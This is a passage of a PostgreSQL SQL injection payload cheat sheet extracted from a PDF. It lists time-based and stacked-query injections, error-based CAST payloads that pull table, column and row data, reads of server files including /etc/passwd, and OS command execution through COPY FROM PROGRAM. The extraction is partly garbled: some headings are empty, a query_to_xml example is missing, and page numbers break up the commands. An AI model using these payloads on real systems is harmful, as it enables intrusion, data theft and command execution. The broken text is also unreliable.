PostgreSQL List Password Hashes
PostgreSQL List Database Administrator Accounts
PostgreSQL List Privileges
PostgreSQL Check if Current User is Superuser
PostgreSQL database name
PostgreSQL List databases
PostgreSQL List tables
PostgreSQL List columns
PostgreSQL Error Based
PostgreSQL XML Helpers
PostgreSQL Blind
PostgreSQL Time Based
PostgreSQL Stacked query
PostgreSQL File Read
35 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
PostgreSQL Comments
--
/**/
; #Used to terminate a SQL command. The only place it can be used within a
statement is within a string constant or quoted identifier.
|| #or statement
# usage examples:
/?whatever=1;(select 1 from pg_sleep(5))
/?whatever=1||(select 1 from pg_sleep(5))
PostgreSQL Version
SELECT version()
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
36 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
SHOW is_superuser;
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
SELECT current_database()
37 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||
(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr
(126)+as+nUmeRiC)--
,cAsT(chr(126)||
(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+
lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||
(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeR
iC)
The query_to_xml above returns all the results of the specified query as a single result. Chain this with the
PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to
one result.
Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might
cause a slow down or denial of service condition.
PostgreSQL Blind
38 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
39 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer
versions (as of this commit) will allow reading any file/filepath for super users or users in the
default_role_read_server_files group.
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and
return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
Or as one line:
Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute
manually the following SQL queries.
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to
use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the
40 / 41
SQLpayloads A.T6 M.S666.md 7/17/2023
command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY
FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
Using libc.so.6
Bypass Filter
Quotes
Using CHR
SELECT CHR(65)||CHR(66)||CHR(67);
41 / 41